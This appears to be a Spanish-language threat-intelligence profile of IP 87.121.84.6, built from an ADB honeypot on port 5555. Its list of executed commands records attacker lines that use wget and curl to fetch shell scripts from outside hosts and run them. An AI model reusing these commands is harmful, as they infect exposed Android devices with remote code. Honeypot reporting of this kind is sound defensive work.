⚠TROYANOSYVIRUS
Amenaza Activa • MEDIO

87.121.84.6

Primera Deteccion28/12/2025
Ultima Actividad20/2/2026
ISPVpsvault.host Ltd
🎯
273
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
0
Malware

Geolocalizacion

Pais
🇺🇸 Estados Unidos
Ciudad
New York
ASN
AS215925
ISP
Vpsvault.host Ltd

Tipos de Ataque

adbhoney

Puertos Atacados

5555

Malware Asociado

Sin malware asociado

Comandos Ejecutados

$cd /data/local/tmp/; busybox wget http://31.97.147.189/w.sh; sh w.sh; curl http://31.97.147.189/c.sh; sh c.sh; wget http://31.97.147.189/wget.sh; sh wget.sh; curl http://31.97.147.189/wget.sh; sh wget.sh; busybox wget http://31.97.147.189/wget.sh; sh wget.sh; busybox curl http://31.97.147.189/wget.sh; sh wget.sh33x
$cd /data/local/tmp/; busybox wget http://91.92.241.197:5124/2/w.sh; sh w.sh; curl http://91.92.241.197:5124/2/c.sh; sh c.sh; wget http://91.92.241.197:5124/2/wget.sh; sh wget.sh; curl http://91.92.241.197:5124/2/wget.sh; sh wget.sh; busybox wget http://91.92.241.197:5124/2/wget.sh; sh wget.sh; busybox curl http://91.92.241.197:5124/2/wget.sh; sh wget.sh26x
$cd /data/local/tmp/; busybox wget http://77.42.21.37/w.sh; sh w.sh; curl http://77.42.21.37/c.sh; sh c.sh; wget http://77.42.21.37/wget.sh; sh wget.sh; curl http://77.42.21.37/wget.sh; sh wget.sh; busybox wget http://77.42.21.37/wget.sh; sh wget.sh; busybox curl http://77.42.21.37/wget.sh; sh wget.sh13x
$cd /data/local/tmp/; busybox wget http://91.92.241.197:8080/bins/w.sh; sh w.sh; curl http://91.92.241.197:8080/bins/c.sh; sh c.sh; wget http://91.92.241.197:8080/bins/wget.sh; sh wget.sh; curl http://91.92.241.197:8080/bins/wget.sh; sh wget.sh; busybox wget http://91.92.241.197:8080/bins/wget.sh; sh wget.sh; busybox curl http://91.92.241.197:8080/bins/wget.sh; sh wget.sh6x
$cd /data/local/tmp/; busybox wget http://161.97.112.116/w.sh; sh w.sh; curl http://161.97.112.116/c.sh; sh c.sh; wget http://161.97.112.116/wget.sh; sh wget.sh; curl http://161.97.112.116/wget.sh; sh wget.sh; busybox wget http://161.97.112.116/wget.sh; sh wget.sh; busybox curl http://161.97.112.116/wget.sh; sh wget.sh6x
$cd /data/local/tmp/; busybox wget http://193.26.115.122/w.sh; sh w.sh; curl http://193.26.115.122/c.sh; sh c.sh; wget http://193.26.115.122/wget.sh; sh wget.sh; curl http://193.26.115.122/wget.sh; sh wget.sh; busybox wget http://193.26.115.122/wget.sh; sh wget.sh; busybox curl http://193.26.115.122/wget.sh; sh wget.sh4x
$cd /data/local/tmp/; busybox wget http://77.42.21.376/w.sh; sh w.sh; curl http://77.42.21.376/c.sh; sh c.sh; wget http://77.42.21.376/wget.sh; sh wget.sh; curl http://77.42.21.376/wget.sh; sh wget.sh; busybox wget http://77.42.21.376/wget.sh; sh wget.sh; busybox curl http://77.42.21.376/wget.sh; sh wget.sh2x
$cd /data/local/tmp/; busybox wget http://103.236.64.121/w.sh; sh w.sh; curl http://103.236.64.121/c.sh; sh c.sh; wget http://103.236.64.121/wget.sh; sh wget.sh; curl http://103.236.64.121/wget.sh; sh wget.sh; busybox wget http://103.236.64.121/wget.sh; sh wget.sh; busybox curl http://103.236.64.121/wget.sh; sh wget.sh1x

Evaluacion de Riesgo

45
/100
BajoMedioAltoCritico